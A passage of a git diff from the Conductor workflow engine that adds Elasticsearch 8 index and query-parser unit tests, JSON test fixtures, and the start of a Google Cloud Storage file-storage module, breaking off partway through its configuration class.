status + private long getWorkflowCount(String workflowName, String status) { + return indexDAO.getWorkflowCount( + "status=\"" + status + "\" AND workflowType=\"" + workflowName + "\"", "*"); + } + + private void assertWorkflowSummary(String workflowId, WorkflowSummary summary) { + assertEquals(summary.getWorkflowType(), indexDAO.get(workflowId, "workflowType")); + assertEquals(String.valueOf(summary.getVersion()), indexDAO.get(workflowId, "version")); + assertEquals(summary.getWorkflowId(), indexDAO.get(workflowId, "workflowId")); + assertEquals(summary.getCorrelationId(), indexDAO.get(workflowId, "correlationId")); + assertEquals(summary.getStartTime(), indexDAO.get(workflowId, "startTime")); + assertEquals(summary.getUpdateTime(), indexDAO.get(workflowId, "updateTime")); + assertEquals(summary.getEndTime(), indexDAO.get(workflowId, "endTime")); + assertEquals(summary.getStatus().name(), indexDAO.get(workflowId, "status")); + assertEquals(summary.getInput(), indexDAO.get(workflowId, "input")); + assertEquals(summary.getOutput(), indexDAO.get(workflowId, "output")); + assertEquals( + summary.getReasonForIncompletion(), + indexDAO.get(workflowId, "reasonForIncompletion")); + assertEquals( + String.valueOf(summary.getExecutionTime()), + indexDAO.get(workflowId, "executionTime")); + assertEquals(summary.getEvent(), indexDAO.get(workflowId, "event")); + assertEquals( + summary.getFailedReferenceTaskNames(), + indexDAO.get(workflowId, "failedReferenceTaskNames")); + } + + private String getFormattedTime(Date time) { + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"); + sdf.setTimeZone(TimeZone.getTimeZone("GMT")); + return sdf.format(time); + } + + private List tryFindResults(Supplier> searchFunction) { + return tryFindResults(searchFunction, 1); + } + + private List tryFindResults(Supplier> searchFunction, int resultsCount) { + List result = Collections.emptyList(); + for (int i = 0; i < 20; i++) { + result = searchFunction.get(); + if (result.size() == resultsCount) { + return result; + } + try { + Thread.sleep(100); + } catch (InterruptedException e) { + throw new RuntimeException(e.getMessage(), e); + } + } + return result; + } + + private List searchWorkflows(String workflowId) { + return indexDAO.searchWorkflows( + "", "workflowId:\"" + workflowId + "\"", 0, 100, Collections.emptyList()) + .getResults(); + } + + private List searchTasks(TaskSummary taskSummary) { + return indexDAO.searchTasks( + "", + "workflowId:\"" + taskSummary.getWorkflowId() + "\"", + 0, + 100, + Collections.emptyList()) + .getResults(); + } + + private TaskExecLog createLog(String taskId, String log) { + TaskExecLog taskExecLog = new TaskExecLog(log); + taskExecLog.setTaskId(taskId); + return taskExecLog; + } + + private EventExecution createEventExecution(String event) { + EventExecution execution = new EventExecution(uuid(), uuid()); + execution.setName("name"); + execution.setEvent(event); + execution.setCreated(System.currentTimeMillis()); + execution.setStatus(EventExecution.Status.COMPLETED); + execution.setAction(EventHandler.Action.Type.start_workflow); + execution.setOutput(ImmutableMap.of("a", 1, "b", 2, "c", 3)); + return execution; + } + + private String uuid() { + return UUID.randomUUID().toString(); + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/TestElasticSearchRestDAOV8Batch.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/TestElasticSearchRestDAOV8Batch.java new file mode 100644 index 0000000..901db1e --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/TestElasticSearchRestDAOV8Batch.java @@ -0,0 +1,81 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.index; + +import java.util.HashMap; +import java.util.concurrent.TimeUnit; + +import org.junit.Test; +import org.springframework.test.context.TestPropertySource; + +import com.netflix.conductor.common.metadata.tasks.Task.Status; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; + +import com.fasterxml.jackson.core.JsonProcessingException; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; + +@TestPropertySource(properties = "conductor.elasticsearch.indexBatchSize=2") +public class TestElasticSearchRestDAOV8Batch extends ElasticSearchRestDaoBaseTest { + + @Test + public void indexTaskWithBatchSizeTwo() { + String correlationId = "some-correlation-id"; + + TaskSummary taskSummary = new TaskSummary(); + taskSummary.setTaskId("some-task-id"); + taskSummary.setWorkflowId("some-workflow-instance-id"); + taskSummary.setTaskType("some-task-type"); + taskSummary.setStatus(Status.FAILED); + try { + taskSummary.setInput( + objectMapper.writeValueAsString( + new HashMap() { + { + put("input_key", "input_value"); + } + })); + } catch (JsonProcessingException e) { + throw new RuntimeException(e); + } + taskSummary.setCorrelationId(correlationId); + taskSummary.setTaskDefName("some-task-def-name"); + taskSummary.setReasonForIncompletion("some-failure-reason"); + + indexDAO.indexTask(taskSummary); + indexDAO.indexTask(taskSummary); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + SearchResult result = + indexDAO.searchTasks( + "correlationId='" + correlationId + "'", + "*", + 0, + 10000, + null); + + assertTrue( + "should return 1 or more search results", + result.getResults().size() > 0); + assertEquals( + "taskId should match the indexed task", + "some-task-id", + result.getResults().get(0)); + }); + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/TestExpression.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/TestExpression.java new file mode 100644 index 0000000..2b68bde --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/TestExpression.java @@ -0,0 +1,148 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.InputStream; + +import org.conductoross.conductor.es8.dao.query.parser.internal.AbstractParserTest; +import org.conductoross.conductor.es8.dao.query.parser.internal.ConstValue; +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; + +/** + * @author Viren + */ +public class TestExpression extends AbstractParserTest { + + @Test + public void test() throws Exception { + String test = + "type='IMAGE' AND subType ='sdp' AND (metadata.width > 50 OR metadata.height > 50)"; + // test = "type='IMAGE' AND subType ='sdp'"; + // test = "(metadata.type = 'IMAGE')"; + InputStream is = new BufferedInputStream(new ByteArrayInputStream(test.getBytes())); + Expression expr = new Expression(is); + + System.out.println(expr); + + assertTrue(expr.isBinaryExpr()); + assertNull(expr.getGroupedExpression()); + assertNotNull(expr.getNameValue()); + + NameValue nv = expr.getNameValue(); + assertEquals("type", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"IMAGE\"", nv.getValue().getValue()); + + Expression rhs = expr.getRightHandSide(); + assertNotNull(rhs); + assertTrue(rhs.isBinaryExpr()); + + nv = rhs.getNameValue(); + assertNotNull(nv); // subType = sdp + assertNull(rhs.getGroupedExpression()); + assertEquals("subType", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"sdp\"", nv.getValue().getValue()); + + assertEquals("AND", rhs.getOperator().getOperator()); + rhs = rhs.getRightHandSide(); + assertNotNull(rhs); + assertFalse(rhs.isBinaryExpr()); + GroupedExpression ge = rhs.getGroupedExpression(); + assertNotNull(ge); + expr = ge.getExpression(); + assertNotNull(expr); + + assertTrue(expr.isBinaryExpr()); + nv = expr.getNameValue(); + assertNotNull(nv); + assertEquals("metadata.width", nv.getName().getName()); + assertEquals(">", nv.getOp().getOperator()); + assertEquals("50", nv.getValue().getValue()); + + assertEquals("OR", expr.getOperator().getOperator()); + rhs = expr.getRightHandSide(); + assertNotNull(rhs); + assertFalse(rhs.isBinaryExpr()); + nv = rhs.getNameValue(); + assertNotNull(nv); + + assertEquals("metadata.height", nv.getName().getName()); + assertEquals(">", nv.getOp().getOperator()); + assertEquals("50", nv.getValue().getValue()); + } + + @Test + public void testWithSysConstants() throws Exception { + String test = "type='IMAGE' AND subType ='sdp' AND description IS null"; + InputStream is = new BufferedInputStream(new ByteArrayInputStream(test.getBytes())); + Expression expr = new Expression(is); + + System.out.println(expr); + + assertTrue(expr.isBinaryExpr()); + assertNull(expr.getGroupedExpression()); + assertNotNull(expr.getNameValue()); + + NameValue nv = expr.getNameValue(); + assertEquals("type", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"IMAGE\"", nv.getValue().getValue()); + + Expression rhs = expr.getRightHandSide(); + assertNotNull(rhs); + assertTrue(rhs.isBinaryExpr()); + + nv = rhs.getNameValue(); + assertNotNull(nv); // subType = sdp + assertNull(rhs.getGroupedExpression()); + assertEquals("subType", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"sdp\"", nv.getValue().getValue()); + + assertEquals("AND", rhs.getOperator().getOperator()); + rhs = rhs.getRightHandSide(); + assertNotNull(rhs); + assertFalse(rhs.isBinaryExpr()); + GroupedExpression ge = rhs.getGroupedExpression(); + assertNull(ge); + nv = rhs.getNameValue(); + assertNotNull(nv); + assertEquals("description", nv.getName().getName()); + assertEquals("IS", nv.getOp().getOperator()); + ConstValue cv = nv.getValue(); + assertNotNull(cv); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NULL); + + test = "description IS not null"; + is = new BufferedInputStream(new ByteArrayInputStream(test.getBytes())); + expr = new Expression(is); + + System.out.println(expr); + nv = expr.getNameValue(); + assertNotNull(nv); + assertEquals("description", nv.getName().getName()); + assertEquals("IS", nv.getOp().getOperator()); + cv = nv.getValue(); + assertNotNull(cv); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NOT_NULL); + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/TestGroupedExpression.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/TestGroupedExpression.java new file mode 100644 index 0000000..1967eca --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/TestGroupedExpression.java @@ -0,0 +1,24 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser; + +import org.junit.Test; + +/** + * @author Viren + */ +public class TestGroupedExpression { + + @Test + public void test() {} +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/TestNameValueQueryBuilder.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/TestNameValueQueryBuilder.java new file mode 100644 index 0000000..efb8c25 --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/TestNameValueQueryBuilder.java @@ -0,0 +1,95 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser; + +import java.util.List; + +import org.conductoross.conductor.es8.dao.query.parser.internal.AbstractParserTest; +import org.junit.Test; + +import co.elastic.clients.elasticsearch._types.FieldValue; +import co.elastic.clients.elasticsearch._types.query_dsl.Query; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; + +public class TestNameValueQueryBuilder extends AbstractParserTest { + + @Test + public void equalsUsesTermQuery() throws Exception { + NameValue nameValue = new NameValue(getInputStream("status='RUNNING'")); + + Query query = nameValue.getFilterBuilder(); + + assertTrue(query.isTerm()); + assertEquals("status", query.term().field()); + assertTrue(query.term().value().isString()); + assertEquals("RUNNING", query.term().value().stringValue()); + } + + @Test + public void notEqualsUsesMustNotTermQuery() throws Exception { + NameValue nameValue = new NameValue(getInputStream("status!='RUNNING'")); + + Query query = nameValue.getFilterBuilder(); + + assertTrue(query.isBool()); + assertEquals(1, query.bool().mustNot().size()); + Query mustNot = query.bool().mustNot().getFirst(); + assertTrue(mustNot.isTerm()); + assertEquals("status", mustNot.term().field()); + assertEquals("RUNNING", mustNot.term().value().stringValue()); + } + + @Test + public void inNormalizesQuotedAndNumericValues() throws Exception { + NameValue nameValue = new NameValue(getInputStream("priority IN (1, 2.5, '3')")); + + Query query = nameValue.getFilterBuilder(); + + assertTrue(query.isTerms()); + List values = query.terms().terms().value(); + assertEquals(3, values.size()); + assertTrue(values.get(0).isLong()); + assertEquals(1L, values.get(0).longValue()); + assertTrue(values.get(1).isDouble()); + assertEquals(2.5d, values.get(1).doubleValue(), 0.000001d); + assertTrue(values.get(2).isString()); + assertEquals("3", values.get(2).stringValue()); + } + + @Test + public void equalsWithDoubleQuotesUsesTermQuery() throws Exception { + String uuid = "09d13af8-3a2a-48bf-a91d-ef0a9114f07a"; + NameValue nameValue = new NameValue(getInputStream("workflowId=\"" + uuid + "\"")); + + Query query = nameValue.getFilterBuilder(); + + assertTrue(query.isTerm()); + assertEquals("workflowId", query.term().field()); + assertTrue(query.term().value().isString()); + assertEquals(uuid, query.term().value().stringValue()); + } + + @Test + public void equalsNullUsesMissingFieldQuery() throws Exception { + NameValue nameValue = new NameValue(getInputStream("archived = null")); + + Query query = nameValue.getFilterBuilder(); + + assertTrue(query.isBool()); + assertEquals(1, query.bool().mustNot().size()); + assertTrue(query.bool().mustNot().getFirst().isExists()); + assertEquals("archived", query.bool().mustNot().getFirst().exists().field()); + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/AbstractParserTest.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/AbstractParserTest.java new file mode 100644 index 0000000..ec30052 --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/AbstractParserTest.java @@ -0,0 +1,27 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.InputStream; + +/** + * @author Viren + */ +public abstract class AbstractParserTest { + + protected InputStream getInputStream(String expression) { + return new BufferedInputStream(new ByteArrayInputStream(expression.getBytes())); + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestBooleanOp.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestBooleanOp.java new file mode 100644 index 0000000..49a2e84 --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestBooleanOp.java @@ -0,0 +1,44 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * @author Viren + */ +public class TestBooleanOp extends AbstractParserTest { + + @Test + public void test() throws Exception { + String[] tests = new String[] {"AND", "OR"}; + for (String test : tests) { + BooleanOp name = new BooleanOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } + } + + @Test(expected = ParserException.class) + public void testInvalid() throws Exception { + String test = "<"; + BooleanOp name = new BooleanOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestComparisonOp.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestComparisonOp.java new file mode 100644 index 0000000..ee79e5e --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestComparisonOp.java @@ -0,0 +1,44 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * @author Viren + */ +public class TestComparisonOp extends AbstractParserTest { + + @Test + public void test() throws Exception { + String[] tests = new String[] {"<", ">", "=", "!=", "IN", "BETWEEN", "STARTS_WITH"}; + for (String test : tests) { + ComparisonOp name = new ComparisonOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } + } + + @Test(expected = ParserException.class) + public void testInvalidOp() throws Exception { + String test = "AND"; + ComparisonOp name = new ComparisonOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestConstValue.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestConstValue.java new file mode 100644 index 0000000..2cbbab2 --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestConstValue.java @@ -0,0 +1,101 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +import java.util.List; + +import org.junit.Test; + +import static org.junit.Assert.*; + +/** + * @author Viren + */ +public class TestConstValue extends AbstractParserTest { + + @Test + public void testStringConst() throws Exception { + String test = "'string value'"; + String expected = + test.replaceAll( + "'", "\""); // Quotes are removed but then the result is double quoted. + ConstValue cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertEquals(expected, cv.getValue()); + assertTrue(cv.getValue() instanceof String); + + test = "\"string value\""; + cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertEquals(expected, cv.getValue()); + assertTrue(cv.getValue() instanceof String); + } + + @Test + public void testSystemConst() throws Exception { + String test = "null"; + ConstValue cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertTrue(cv.getValue() instanceof String); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NULL); + test = "null"; + + test = "not null"; + cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NOT_NULL); + } + + @Test(expected = ParserException.class) + public void testInvalid() throws Exception { + String test = "'string value"; + new ConstValue(getInputStream(test)); + } + + @Test + public void testNumConst() throws Exception { + String test = "12345.89"; + ConstValue cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertTrue( + cv.getValue() + instanceof + String); // Numeric values are stored as string as we are just passing thru + // them to ES + assertEquals(test, cv.getValue()); + } + + @Test + public void testRange() throws Exception { + String test = "50 AND 100"; + Range range = new Range(getInputStream(test)); + assertEquals("50", range.getLow()); + assertEquals("100", range.getHigh()); + } + + @Test(expected = ParserException.class) + public void testBadRange() throws Exception { + String test = "50 AND"; + new Range(getInputStream(test)); + } + + @Test + public void testArray() throws Exception { + String test = "(1, 3, 'name', 'value2')"; + ListConst lc = new ListConst(getInputStream(test)); + List list = lc.getList(); + assertEquals(4, list.size()); + assertTrue(list.contains("1")); + assertEquals("'value2'", list.get(3)); // Values are preserved as it is... + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestName.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestName.java new file mode 100644 index 0000000..7522bdf --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestName.java @@ -0,0 +1,33 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * @author Viren + */ +public class TestName extends AbstractParserTest { + + @Test + public void test() throws Exception { + String test = "metadata.en_US.lang "; + Name name = new Name(getInputStream(test)); + String nameVal = name.getName(); + assertNotNull(nameVal); + assertEquals(test.trim(), nameVal); + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/utils/TestUtils.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/utils/TestUtils.java new file mode 100644 index 0000000..68a73b0 --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/utils/TestUtils.java @@ -0,0 +1,76 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.utils; + +import org.apache.commons.io.Charsets; + +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.utils.IDGenerator; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.io.Resources; + +public class TestUtils { + + private static final String WORKFLOW_SCENARIO_EXTENSION = ".json"; + private static final String WORKFLOW_INSTANCE_ID_PLACEHOLDER = "WORKFLOW_INSTANCE_ID"; + + public static WorkflowSummary loadWorkflowSnapshot( + ObjectMapper objectMapper, String resourceFileName) { + try { + String content = loadJsonResource(resourceFileName); + String workflowId = new IDGenerator().generate(); + content = content.replace(WORKFLOW_INSTANCE_ID_PLACEHOLDER, workflowId); + + return objectMapper.readValue(content, WorkflowSummary.class); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + public static TaskSummary loadTaskSnapshot(ObjectMapper objectMapper, String resourceFileName) { + try { + String content = loadJsonResource(resourceFileName); + String workflowId = new IDGenerator().generate(); + content = content.replace(WORKFLOW_INSTANCE_ID_PLACEHOLDER, workflowId); + + return objectMapper.readValue(content, TaskSummary.class); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + public static TaskSummary loadTaskSnapshot( + ObjectMapper objectMapper, String resourceFileName, String workflowId) { + try { + String content = loadJsonResource(resourceFileName); + content = content.replace(WORKFLOW_INSTANCE_ID_PLACEHOLDER, workflowId); + + return objectMapper.readValue(content, TaskSummary.class); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + public static String loadJsonResource(String resourceFileName) { + try { + return Resources.toString( + TestUtils.class.getResource( + "/" + resourceFileName + WORKFLOW_SCENARIO_EXTENSION), + Charsets.UTF_8); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } +} diff --git a/es8-persistence/src/test/resources/expected_template_task_log.json b/es8-persistence/src/test/resources/expected_template_task_log.json new file mode 100644 index 0000000..ebb8d4a --- /dev/null +++ b/es8-persistence/src/test/resources/expected_template_task_log.json @@ -0,0 +1,24 @@ +{ + "index_patterns" : [ "*conductor_task*log*" ], + "template" : { + "settings" : { + "refresh_interval" : "1s" + }, + "mappings" : { + "properties" : { + "createdTime" : { + "type" : "long" + }, + "log" : { + "type" : "keyword", + "index" : true + }, + "taskId" : { + "type" : "keyword", + "index" : true + } + } + }, + "aliases" : { } + } +} \ No newline at end of file diff --git a/es8-persistence/src/test/resources/task_summary.json b/es8-persistence/src/test/resources/task_summary.json new file mode 100644 index 0000000..a409a22 --- /dev/null +++ b/es8-persistence/src/test/resources/task_summary.json @@ -0,0 +1,17 @@ +{ + "taskId": "9dea4567-0240-4eab-bde8-99f4535ea3fc", + "taskDefName": "templated_task", + "taskType": "templated_task", + "workflowId": "WORKFLOW_INSTANCE_ID", + "workflowType": "template_workflow", + "correlationId": "testTaskDefTemplate", + "scheduledTime": "2021-08-22T05:18:25.121Z", + "startTime": "0", + "endTime": "0", + "updateTime": "2021-08-23T00:18:25.121Z", + "status": "SCHEDULED", + "workflowPriority": 1, + "queueWaitTime": 0, + "executionTime": 0, + "input": "{http_request={method=GET, vipStack=test_stack, body={requestDetails={key1=value1, key2=42}, outputPath=s3://bucket/outputPath, inputPaths=[file://path1, file://path2]}, uri=/get/something}}" +} \ No newline at end of file diff --git a/es8-persistence/src/test/resources/workflow_summary.json b/es8-persistence/src/test/resources/workflow_summary.json new file mode 100644 index 0000000..443d846 --- /dev/null +++ b/es8-persistence/src/test/resources/workflow_summary.json @@ -0,0 +1,12 @@ +{ + "workflowType": "template_workflow", + "version": 1, + "workflowId": "WORKFLOW_INSTANCE_ID", + "priority": 1, + "correlationId": "testTaskDefTemplate", + "startTime": 1534983505050, + "updateTime": 1534983505131, + "endTime": 0, + "status": "RUNNING", + "input": "{path1=file://path1, path2=file://path2, requestDetails={key1=value1, key2=42}, outputPath=s3://bucket/outputPath}" +} diff --git a/family.properties b/family.properties new file mode 100644 index 0000000..41ff976 --- /dev/null +++ b/family.properties @@ -0,0 +1 @@ +generation=1 diff --git a/gcs-storage/build.gradle b/gcs-storage/build.gradle new file mode 100644 index 0000000..14597a5 --- /dev/null +++ b/gcs-storage/build.gradle @@ -0,0 +1,7 @@ +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-core') + compileOnly 'org.springframework.boot:spring-boot-starter' + + implementation 'com.google.cloud:google-cloud-storage:2.36.1' +} diff --git a/gcs-storage/src/main/java/org/conductoross/conductor/gcs/config/GcsFileStorageConfiguration.java b/gcs-storage/src/main/java/org/conductoross/conductor/gcs/config/GcsFileStorageConfiguration.java new file mode 100644 index 0000000..9e5fc88 --- /dev/null +++ b/gcs-storage/src/main/java/org/conductoross/conductor/gcs/config/GcsFileStorageConfiguration.java @@ -0,0 +1,67 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.gcs.config; + +import java.io.FileInputStream; +import java.io.IOException; + +import org.conductoross.conductor.core.exception.FileStorageException; +import org.conductoross.conductor.core.storage.FileStorage; +import org.conductoross.conductor.gcs.storage.GcsFileStorage; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.google.auth.oauth2.GoogleCredentials; +import com.google.cloud.storage.Storage; +import com.google.cloud.storage.StorageOptions; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(GcsFileStorageProperties.class) +@ConditionalOnProperty(name = "conductor.file-storage.enabled", havingValue = "true") +public class GcsFileStorageConfiguration { + + @Bean(name = 